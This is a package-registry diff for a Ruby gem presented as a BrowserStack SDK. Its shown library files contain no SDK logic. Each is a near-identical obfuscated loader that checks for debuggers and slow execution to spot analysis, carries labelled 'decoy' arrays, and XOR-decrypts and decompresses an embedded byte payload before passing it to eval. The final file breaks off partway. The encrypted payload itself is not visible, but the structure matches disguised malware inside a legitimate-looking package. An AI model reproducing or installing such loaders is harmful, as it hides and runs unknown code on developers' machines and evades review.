browserstack-ruby-sdk 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (51) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +7 -0
  3. data/LICENSE.txt +52 -0
  4. data/README.md +115 -0
  5. data/STYLE_GUIDE.md +43 -0
  6. data/exe/browserstack-sdk +8 -0
  7. data/generated/browserstack/sdk/v1/sdk_pb.rb +80 -0
  8. data/generated/browserstack/sdk/v1/sdk_services_pb.rb +47 -0
  9. data/lib/browserstack/browserstack_logger_factory.rb +123 -0
  10. data/lib/browserstack/browserstack_ruby_agent.rb +123 -0
  11. data/lib/browserstack/child_initializer.rb +123 -0
  12. data/lib/browserstack/cli/browserstack_cli.rb +123 -0
  13. data/lib/browserstack/cli/grpc_client.rb +123 -0
  14. data/lib/browserstack/cli/sdk_cli_utils.rb +123 -0
  15. data/lib/browserstack/command_executor.rb +123 -0
  16. data/lib/browserstack/config/browserstack_config.rb +123 -0
  17. data/lib/browserstack/constants.rb +123 -0
  18. data/lib/browserstack/eventbus/event.rb +123 -0
  19. data/lib/browserstack/eventbus/event_dispatcher.rb +123 -0
  20. data/lib/browserstack/frameworks/automationFrameworks/automation_framework.rb +123 -0
  21. data/lib/browserstack/frameworks/automationFrameworks/selenium_framework.rb +123 -0
  22. data/lib/browserstack/frameworks/constants/automation_constants.rb +123 -0
  23. data/lib/browserstack/frameworks/state/automation_framework_state.rb +123 -0
  24. data/lib/browserstack/frameworks/state/hook_state.rb +123 -0
  25. data/lib/browserstack/frameworks/state/test_framework_state.rb +123 -0
  26. data/lib/browserstack/frameworks/testFrameworks/cucumber_framework.rb +123 -0
  27. data/lib/browserstack/frameworks/testFrameworks/test_framework.rb +123 -0
  28. data/lib/browserstack/instance/automation_framework_instance.rb +123 -0
  29. data/lib/browserstack/instance/test_framework_instance.rb +123 -0
  30. data/lib/browserstack/instance/tracked_context.rb +123 -0
  31. data/lib/browserstack/instance/tracked_instance.rb +123 -0
  32. data/lib/browserstack/modules/base_module.rb +123 -0
  33. data/lib/browserstack/modules/web_driver_module.rb +123 -0
  34. data/lib/browserstack/monitor/performance.rb +123 -0
  35. data/lib/browserstack/monitor/performance_annotator.rb +123 -0
  36. data/lib/browserstack/monitor/performance_constants.rb +123 -0
  37. data/lib/browserstack/monitor/performance_test.rb +123 -0
  38. data/lib/browserstack/monitor/sdk_integration.rb +123 -0
  39. data/lib/browserstack/patches/appium_lib_core_patch.rb +123 -0
  40. data/lib/browserstack/patches/cucumber_patches.rb +123 -0
  41. data/lib/browserstack/patches/selenium_patches.rb +123 -0
  42. data/lib/browserstack/runner.rb +123 -0
  43. data/lib/browserstack/utils/api_utility_methods.rb +123 -0
  44. data/lib/browserstack/utils/framework_detector.rb +123 -0
  45. data/lib/browserstack/utils/http_calls.rb +123 -0
  46. data/lib/browserstack/utils/util_method.rb +123 -0
  47. data/lib/browserstack/version.rb +123 -0
  48. data/lib/browserstack_sdk.rb +123 -0
  49. data/proto/browserstack/sdk/v1/sdk.proto +487 -0
  50. data/sample/browserstack_sample.yml +298 -0
  51. metadata +218 -0
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _dcef8a4 = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _f7fe6ce = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _f7fe6ce) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _w58751c = _dcef8a4.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _i23c606 = ->(_q6d79fe, _lb7f771) do
32
+ _h880ef1 = []
33
+ _q6d79fe.each_with_index do |byte, idx|
34
+ _h880ef1 << (byte ^ _lb7f771[idx % _lb7f771.length])
35
+ end
36
+ _h880ef1
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _o3f18ad = lambda do |_eaf41a3, _p55bb57, _if1ea3f, _e3a5b09|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_eaf41a3.pack('C*'))
44
+ if current_hash != _e3a5b09
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _eaf41a3 = [204, 98, 207, 129, 243, 26, 96, 112, 180, 184, 10, 67, 5, 184, 35, 108, 74, 186, 66, 146, 15, 108, 87, 192, 181, 145, 236, 60, 184, 249, 133, 191, 210, 134, 223, 7, 184, 60, 92, 77, 118, 168, 249, 199, 202, 252, 208, 22, 101, 110, 197, 20, 54, 5, 30, 26, 195, 233, 63, 63, 193, 231, 192, 135, 59, 128, 57, 109, 223, 22, 142, 114, 216, 237, 242, 97, 76, 124, 136, 49, 61, 31, 198, 68, 246, 37, 252, 239, 200, 43, 66, 134, 29, 193, 72, 30, 243, 203, 140, 55, 44, 118, 248, 98, 168, 123, 193, 104, 42, 30, 199, 28, 173, 87, 20, 68, 78, 181, 233, 142, 125, 212, 59, 93, 178, 32, 164, 134, 79, 188, 65, 37, 133, 26, 18, 64, 90, 223, 17, 214, 32, 109, 6, 161, 194, 10, 28, 134, 47, 31, 76, 146, 22, 116, 240, 13, 22, 28, 25, 4, 231, 5, 220, 110, 139, 140, 169, 109, 120, 205, 82, 132, 50, 84, 103, 61, 123, 54, 35, 12, 219, 26, 17, 61, 221, 253, 97, 136, 27, 136, 161, 98, 84, 172, 31, 197, 169, 146, 173, 87, 81, 214, 227, 29, 66, 65, 238, 14, 216, 252, 128, 248, 212, 183, 5, 191, 119, 191, 215, 56, 130, 198, 214, 177, 209, 242, 30, 234, 180, 251, 15, 143, 82, 208, 91, 117, 124, 111, 255, 112, 247, 165, 217, 221, 47, 186, 99, 243, 76, 248, 20, 193, 95, 158, 133, 63, 207, 226, 47, 110, 0, 126, 88, 71, 232, 178, 213, 225, 103, 214, 60, 75, 238, 11, 40, 113, 60, 98, 38, 29, 21, 141, 102, 121, 67, 104, 140, 220, 57, 109, 140, 126, 118, 34, 244, 198, 7, 160, 80, 110, 176, 180, 204, 119, 11, 109, 116, 7, 154, 207, 107, 237, 160, 211, 209, 160, 6, 213, 238, 148, 40, 115, 165, 187, 128, 16, 182, 155, 223, 25, 39, 71, 189, 234, 219, 148, 89, 198, 15, 124, 16, 3, 133, 167, 131, 68, 80, 126, 120, 19, 36, 159, 171, 31, 21, 207, 211] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _x732458 = [130, 45, 127, 57, 115, 165, 43, 178, 165, 244, 157, 77, 205, 167, 43, 199, 180, 184, 202, 64]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _p55bb57 = [0, 0, 1, 1, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _e3a5b09 = 'b1e5b027e8837c0ef7f3e661d2fb654a50ea2cb413080fac2ba5cd1e85d6d682'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _d362a43 = [172, 254, 57, 254, 248, 195, 15, 63, 173, 252, 105, 225, 16, 47, 25, 105, 15, 138, 190, 152, 159, 69, 246, 255, 61, 245, 161, 62, 167, 232, 78, 42, 8, 59, 123, 216, 113, 142, 161, 91, 175, 171, 48, 96, 50, 132, 202, 23, 230, 221, 14, 106, 185, 31, 100, 237, 119, 73, 38, 72, 54, 9, 13, 253, 144, 175, 200, 203, 142, 177, 247, 231, 255, 78, 168, 186, 76, 88, 3, 60, 139, 114, 15, 233, 71, 151, 85, 171, 213, 107, 58, 30, 50, 241, 168, 148]
64
+ _n1578af = [159, 245, 115, 12, 241, 119, 6, 149, 143, 203, 242, 243, 183, 116, 4, 180, 245, 244, 42, 101, 150, 77, 145, 91, 242, 68, 223, 194, 115, 116, 220, 207, 175, 190, 18, 233, 71, 73, 41, 65, 194, 31, 194, 203, 120, 254, 68, 133, 118, 81, 2, 212, 131, 110, 71, 231, 111, 215, 252, 231, 69, 166, 129, 239, 128, 78, 246, 199, 67, 30, 23, 144, 214, 161, 190, 59, 214, 123, 99, 241, 127, 64, 229, 191]
65
+ _cbd1085 = [248, 75, 172, 249, 46, 54, 215, 241, 84, 83, 148, 141, 153, 199, 18, 56, 70, 198, 94, 69, 153, 200, 223, 251, 237, 20, 174, 201, 49, 59, 68, 80, 220, 33, 65, 13, 128, 42, 117, 158, 197, 38, 80, 139, 45, 20, 193, 78, 93, 184, 145, 139, 95, 150, 153, 232, 197, 185, 30, 168, 9, 125, 219, 126, 228, 116, 91, 136, 177, 188, 15, 50, 249, 182, 148, 221, 122, 151, 35, 27, 59, 241, 177, 124, 94, 1, 167, 160, 68, 237, 13, 130, 18, 239]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _o3f18ad.call(_eaf41a3, _p55bb57, _x732458, _e3a5b09)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _cff8d46 = _eaf41a3.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_ief2149|
79
+ # Calculate which round we're reversing
80
+ _gd4c210 = 5 - _ief2149 - 1
81
+
82
+ # Get key for this reverse round
83
+ _a3c61ee = 4
84
+ _qf6cea1 = _gd4c210 * _a3c61ee
85
+ _mce93d0 = _x732458[_qf6cea1, _a3c61ee]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _p55bb57[_gd4c210] == 1
93
+ _x792c04 = _cff8d46.pack('C*')
94
+ _x792c04 = Base64.strict_decode64(_x792c04)
95
+ _cff8d46 = _x792c04.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _cff8d46 = _i23c606.call(_cff8d46, _mce93d0)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _x792c04 = _cff8d46.pack('C*')
103
+ _x792c04 = Zlib::Inflate.inflate(_x792c04)
104
+ _cff8d46 = _x792c04.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _m0b70a4 = _cff8d46.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _m0b70a4.strip.empty? || _m0b70a4.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_m0b70a4, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _r7bfad5
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_r7bfad5.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _uc36321 = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _na65b82 = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _na65b82) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _h014d41 = _uc36321.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _r0f1787 = ->(_kb2db34, _y1601f8) do
32
+ _i869e72 = []
33
+ _kb2db34.each_with_index do |byte, idx|
34
+ _i869e72 << (byte ^ _y1601f8[idx % _y1601f8.length])
35
+ end
36
+ _i869e72
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _z690715 = lambda do |_ab523b5, _xdacdf5, _bafb82b, _t3f64fe|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_ab523b5.pack('C*'))
44
+ if current_hash != _t3f64fe
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _ab523b5 = [156, 123, 135, 49, 45, 3, 225, 207, 228, 161, 90, 240, 14, 163, 91, 229, 242, 214, 11, 105, 78, 8, 191, 170, 86, 242, 207, 119, 69, 199, 120, 10, 11, 60, 165, 199, 119, 154, 163, 113, 208, 41, 6, 213, 148, 92, 48, 108, 69, 24, 162, 87, 135, 139, 67, 192, 199, 4, 36, 91, 90, 167, 220, 82, 241, 67, 186, 131, 196, 85, 132, 93, 14, 42, 238, 208, 92, 70, 169, 30, 42, 6, 131, 242, 172, 196, 233, 46, 65, 215, 248, 140, 22, 226, 7, 61, 98, 239, 116, 36, 145, 92, 227, 7, 46, 232, 76, 67, 5, 35, 210, 12, 222, 75, 58, 173, 178, 58, 117, 30, 41, 235, 13, 55, 26, 111, 5, 108, 229, 45, 27, 42, 239, 66, 0, 42, 12, 83, 118, 109, 35, 101, 178, 149, 171, 106, 89, 53, 128, 125, 185, 251, 46, 249, 206, 60, 230, 84, 43, 242, 14, 137, 62, 241, 167, 58, 37, 247, 231, 69, 151, 38, 254, 7, 52, 137, 247, 225, 194, 211, 217, 88, 184, 220, 197, 106, 15, 195, 211, 38, 194, 88, 6, 28, 226, 176, 185, 198, 10, 103, 126, 221, 111, 250, 102, 105, 207, 70, 168, 201, 70, 209, 185, 31, 176, 140, 179, 183, 60, 110, 208, 124, 158, 250, 152, 75, 52, 47, 54, 105, 26, 217, 128, 125, 215, 219, 175, 118, 237, 166, 246, 245, 64, 169, 226, 30, 118, 6, 154, 85, 124, 237, 58, 192, 36, 203, 158, 254, 14, 224, 41, 24, 118, 160, 247, 228, 11, 77, 19, 178, 75, 198, 149, 238, 187, 225, 28, 207, 57, 177, 28, 48, 221, 251, 225, 40, 218, 166, 179, 13, 231, 133, 211, 241, 215, 205, 24, 2, 206, 102, 94, 38, 233, 217, 108, 127, 47, 36, 59, 105, 181, 96, 135, 222, 56, 195, 157, 181, 22, 113, 101, 217, 228, 252, 212, 227, 139, 133, 102, 185, 133, 230, 59, 183, 101, 215, 119, 139, 19, 34, 127, 62, 212, 219, 204, 235, 199, 52, 220, 197, 231, 82, 17, 239, 51, 112, 83, 1, 72, 171, 6, 205, 245, 95, 107, 64, 103, 51, 193, 137, 196, 217, 151, 142, 46, 210, 37, 14, 207, 108, 198, 222, 135, 91, 40, 149, 59, 48, 251, 19, 73, 115, 113, 76, 87, 185, 249, 90, 13, 64, 89, 239, 252, 1, 49, 223, 177, 46, 22, 57, 29, 36, 255, 90, 143, 157, 63, 78, 5, 190, 159, 149, 97, 27, 186, 14, 186, 188, 92, 111, 143, 42, 65, 97, 187, 211, 151, 172, 73, 244, 252, 106, 25, 7, 175, 208, 175, 53, 142, 125, 30, 254, 145, 178, 69, 4, 224, 187, 77, 90, 132, 210, 61, 161, 103, 221, 234, 8, 209, 88, 98, 19, 136, 137, 12, 58, 77, 51, 148, 27, 139, 146, 44, 24, 150, 87, 109, 60, 196, 75, 199, 189, 80, 192, 228, 238, 151, 183, 105, 7, 90, 188, 242, 176, 157, 93, 57, 239, 210, 118, 85, 219, 242, 14, 142, 111, 117, 249, 38, 211, 104, 48, 250, 146, 157, 194, 23, 26, 154, 236, 121, 71, 230, 213, 247, 92, 41, 39, 232, 201, 21, 49, 159, 57, 36, 176, 95, 88, 146, 36, 34, 130, 144, 220, 117, 37, 86, 146, 212, 93, 175, 175, 136, 56, 170, 136, 42, 184, 145, 94, 146, 118, 124, 44, 228, 5, 209, 148, 77, 17, 145, 41, 86, 25, 48, 143, 3, 54, 153, 133, 31, 197, 8, 247, 169, 126, 21, 146, 128, 113, 16, 16, 89, 14, 177, 99, 114, 1, 77, 250, 181, 76, 14, 44, 103, 145, 184, 36, 61, 10, 223, 77, 84, 194, 126, 243, 111, 16, 11, 190, 193, 165, 238, 197] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _w30f30b = [122, 214, 43, 104, 254, 218, 29, 145, 16, 167, 162, 199, 200, 1, 1, 118, 228, 161, 138, 255]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _xdacdf5 = [1, 0, 0, 1, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _t3f64fe = '10d77a95017873b816301981309d9002765d172a1c62e7e58c3db7a04d77d8eb'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _a2ceb17 = [103, 205, 229, 228, 143, 176, 250, 13, 161, 130, 162, 241, 12, 192, 102, 148, 85, 23, 11, 31, 232, 0, 177, 102, 158, 88, 100, 105, 79, 197, 26, 11, 163, 39, 25, 146, 58, 125, 243, 161, 100, 54, 134, 100, 14, 99, 120, 197, 176, 159, 221, 216, 64, 140, 215, 73, 38, 176, 243, 156, 232, 127, 77, 65, 183, 93, 9, 70, 224, 138, 49, 249, 134, 59, 6, 166, 24, 33, 237, 18, 186, 215, 44, 10, 127, 42, 114, 243, 152, 194, 94, 145, 159, 68, 184, 98, 65, 112, 120, 85, 31, 80, 83, 111, 238, 3, 108]
64
+ _y18959e = [25, 115, 25, 87, 131, 225, 225, 227, 216, 103, 61, 13, 51, 24, 132, 124, 234, 19, 222, 197, 201, 248, 108, 31, 22, 204, 161, 76, 116, 245, 116, 43, 161, 33, 237, 183, 152, 85, 73, 29, 211, 216, 201, 22, 100, 162, 248, 115, 61, 189, 7, 162, 121, 115, 122, 119, 158, 215, 100, 165, 108, 188, 181, 202, 236, 123, 123, 136, 210, 49, 83, 233, 240, 103, 90, 163, 16, 190, 118, 182, 50, 8, 24, 6, 215, 247, 43, 103, 224, 166, 32, 247, 142, 123, 216, 194, 82, 57]
65
+ _re7c410 = [120, 49, 141, 73, 42, 124, 74, 233, 164, 245, 71, 62, 35, 162, 199, 1, 245, 43, 128, 70, 0, 9, 209, 89, 30, 147, 218, 249, 252, 178, 139, 5, 196, 226, 15, 151, 172, 170, 25, 34, 44, 252, 77, 38, 199, 138, 77, 69, 252, 219, 228, 211, 97, 186, 209, 249, 191, 227, 92, 117, 183, 54, 253, 222, 246, 194, 245, 78, 2, 148, 167, 94, 168, 216, 146, 90, 29, 54, 63, 179, 137, 33, 131, 229, 192, 123, 148, 253, 109, 253, 59, 202, 55, 213, 208, 58, 251, 129, 206, 136, 237, 167, 32, 167, 81, 34, 252, 215, 73, 213, 209, 69, 12, 98, 35, 107, 156, 224, 40, 210, 156, 202, 67, 31, 19, 47, 46, 45, 253, 95, 118, 55, 31, 138, 67, 248, 195, 240, 153]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _z690715.call(_ab523b5, _xdacdf5, _w30f30b, _t3f64fe)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _rf60f69 = _ab523b5.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_ca5de33|
79
+ # Calculate which round we're reversing
80
+ _rea5cd1 = 5 - _ca5de33 - 1
81
+
82
+ # Get key for this reverse round
83
+ _k19be65 = 4
84
+ _ga80c78 = _rea5cd1 * _k19be65
85
+ _a771f0b = _w30f30b[_ga80c78, _k19be65]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _xdacdf5[_rea5cd1] == 1
93
+ _jefe1b0 = _rf60f69.pack('C*')
94
+ _jefe1b0 = Base64.strict_decode64(_jefe1b0)
95
+ _rf60f69 = _jefe1b0.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _rf60f69 = _r0f1787.call(_rf60f69, _a771f0b)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _jefe1b0 = _rf60f69.pack('C*')
103
+ _jefe1b0 = Zlib::Inflate.inflate(_jefe1b0)
104
+ _rf60f69 = _jefe1b0.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _d89df84 = _rf60f69.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _d89df84.strip.empty? || _d89df84.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_d89df84, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _ka4b261
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_ka4b261.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _xa3d7a0 = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _l584d4f = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _l584d4f) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _ne2d162 = _xa3d7a0.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _kea731f = ->(_p7569a8, _q541ae9) do
32
+ _g1aaf36 = []
33
+ _p7569a8.each_with_index do |byte, idx|
34
+ _g1aaf36 << (byte ^ _q541ae9[idx % _q541ae9.length])
35
+ end
36
+ _g1aaf36
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _l5f5135 = lambda do |_v665d15, _s7aa083, _oeb67ae, _j4eb06a|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_v665d15.pack('C*'))
44
+ if current_hash != _j4eb06a
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _v665d15 = [119, 139, 44, 172, 72, 243, 98, 60, 15, 81, 241, 127, 194, 115, 101, 76, 153, 43, 56, 88, 23, 124, 26, 89, 222, 106, 112, 50, 240, 174, 48, 162, 220, 254, 74, 119, 140, 207, 181, 103, 140, 78, 22, 132, 39, 196, 136, 12, 43, 75, 253, 155, 152, 137, 187, 228, 106, 87, 120, 133, 202, 102, 249, 148, 122, 208, 146, 145, 81, 227, 246, 37, 238, 87, 253, 83, 129, 101, 103, 171, 56, 142, 4, 85, 241, 95, 158, 47, 207, 133, 68, 191, 111, 179, 172, 146, 149, 163, 49, 21, 143, 235, 223, 164, 98, 249, 153, 206, 80, 189, 196, 41, 171, 125, 148, 211, 119, 26, 110, 16, 151, 245, 180, 70, 99, 168, 92, 136, 222, 198, 178, 144, 227, 231, 158, 243, 113, 108, 22, 196, 127, 209, 136, 71, 156, 115, 52, 207, 221, 207, 159, 50, 138, 216, 110, 99, 162, 105, 167, 191, 55, 131, 53, 149, 255, 64, 145, 176, 132, 40, 37, 86, 92, 77, 203, 237, 37, 80, 120, 37, 253, 28, 142, 202, 191, 148, 49, 107, 88, 238, 234, 152, 130, 93, 203, 41, 144, 46, 223, 97, 45, 21, 140, 215, 35, 59, 171, 163, 189, 7, 126, 32, 229, 239, 125, 190, 59, 61, 157, 9, 109, 128, 153, 143, 46, 131, 210, 61, 104, 251, 109, 187, 205, 200, 180, 220, 64, 142, 186, 109, 90, 117, 108, 204, 104, 171, 99, 107, 230, 77, 97, 44, 86, 252, 230, 98, 122, 130, 47, 130, 58, 98, 233, 167, 55, 41, 164, 30, 197, 237, 37, 240, 6, 182, 52, 30, 230, 197, 230, 178, 39, 190, 109, 165, 73, 16, 136, 212, 185, 88, 41, 214, 117, 94, 10, 173, 50, 143, 245, 134, 124, 230, 12, 238, 84, 95, 200, 235, 118, 135, 90, 182, 14, 76, 177, 1, 169, 95, 236, 113, 168, 14, 208, 130, 155, 221, 200, 81, 144, 152, 129, 97, 54, 207, 99, 197, 183, 39, 228, 113, 159, 220, 28, 119, 187, 219, 134, 5, 168, 57, 74, 83, 188, 28, 25, 225, 47, 196, 185, 230, 172, 164, 132, 92, 251, 55, 173, 238, 65, 35, 195, 77, 189, 227, 102, 100, 64, 207, 171, 251, 181, 96, 210, 161, 209, 232, 14, 129, 38, 115, 238, 238, 244, 40, 154, 155, 135, 36, 81, 232, 159, 33, 4, 217, 9, 206, 220, 79, 230, 231, 101, 202, 63, 254, 4, 245, 112, 194, 35, 167, 153, 140, 113, 148, 138, 195, 92, 68, 93, 190, 226, 51, 97, 65, 190, 95, 78, 60, 126, 37, 104, 205, 75, 187, 206, 249, 231, 50, 242, 239, 184, 199, 94, 96, 108, 76, 159, 23, 42, 69, 226, 232, 224, 198, 81, 210, 112, 107, 105, 20, 199, 225, 229, 169, 94, 45, 100, 208, 43, 252, 133, 138, 33, 52, 54, 58, 4, 70, 189, 221, 23, 102, 155, 251, 2, 86, 4, 160, 93, 182, 232, 34, 38, 191, 143, 5, 63, 0, 129, 206, 181, 177, 104, 180, 187, 140, 176, 116, 23, 56, 48, 152, 133, 40, 189, 51, 218, 22, 102, 150, 248, 197, 250, 38, 234, 70, 80, 120, 241, 212, 70, 21, 196, 148, 250, 77, 98, 58, 33, 21, 139, 157, 151, 250, 161, 191, 155, 61, 38, 87, 207, 51, 54, 70, 94, 178, 173, 43, 102, 192, 239, 235, 226, 202, 192, 159, 5, 224, 247, 239, 62, 228, 90, 17, 225, 166, 48, 223, 157, 214, 149, 133, 0, 199, 217, 228, 126, 22, 168, 80, 217, 222, 107, 125, 24, 165, 75, 199, 247, 253, 212, 239, 201, 33, 58, 85, 38, 183, 171, 171, 160, 220, 193, 82, 35, 127, 24, 3, 18, 123, 148, 76, 99, 229, 234, 104, 93, 239, 80, 96, 23, 218, 204, 195, 205, 135, 51, 215, 200, 157, 93, 250, 234, 115, 238, 238, 8, 176, 238, 204, 129, 105, 225, 25, 214, 76, 192, 200, 201, 156, 178, 158, 152, 120, 106, 17, 102, 104, 62, 75, 164, 21, 188, 236, 217, 155, 8, 200, 115, 5, 210, 77, 29, 243, 198, 213, 111, 218, 144, 83, 84, 152, 191, 122, 240, 69, 3, 223, 39, 27, 125, 41, 101, 69, 216, 227, 192, 25, 109, 170, 155, 82, 245, 146, 3, 144, 57, 113, 18, 121, 0, 206, 211, 58, 176, 217, 27, 55, 212, 105, 204, 16, 172, 230, 187, 169, 52, 242, 20, 95, 109, 241, 255, 231, 86, 210, 128, 199, 182, 22, 139, 231, 240, 26, 24, 65, 227, 200, 76, 242, 1, 163, 230, 70, 169, 193, 118, 216, 158, 78, 159, 248, 26, 44, 101, 83, 157, 213, 234, 94, 7, 209, 64, 33] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _ud69bef = [68, 182, 252, 128, 214, 160, 165, 15, 143, 193, 65, 225, 91, 230, 239, 181, 15, 81, 33, 124]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _s7aa083 = [0, 0, 0, 1, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _j4eb06a = '81df662f48e82756b58ee92983d9ca78be10c61710983382478025c199999496'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _gcfc044 = [45, 204, 207, 190, 3, 37, 189, 5, 199, 177, 171, 80, 140, 68, 153, 12, 250, 57, 248, 107, 147, 169, 106, 34, 113, 0, 65, 78, 62, 176, 94, 132, 232, 113, 248, 159, 163, 147, 123, 171, 95, 177, 60, 188, 186, 77, 124, 189, 114, 232, 187, 178, 239, 240, 58, 230, 176, 200, 72, 13, 249, 143, 19, 122, 186, 60, 100, 138, 209, 224, 103, 214, 99, 50, 85, 79, 24, 199, 95, 100, 129, 30, 150, 123, 98, 15, 100, 252, 235, 104, 255, 216, 117, 159, 102, 50, 181, 232, 16, 94, 135, 57, 220, 141, 87, 60, 92, 160, 178, 134, 59, 54, 102, 79, 71]
64
+ _ref07d0 = [8, 238, 47, 249, 70, 159, 92, 175, 44, 7, 253, 214, 203, 243, 231, 57, 139, 212, 4, 230, 252, 248, 236, 52, 8, 221, 125, 172, 221, 231, 42, 156, 10, 161, 157, 150, 226, 114, 66, 115, 177, 127, 100, 118, 188, 239, 142, 121, 110, 104, 27, 84]
65
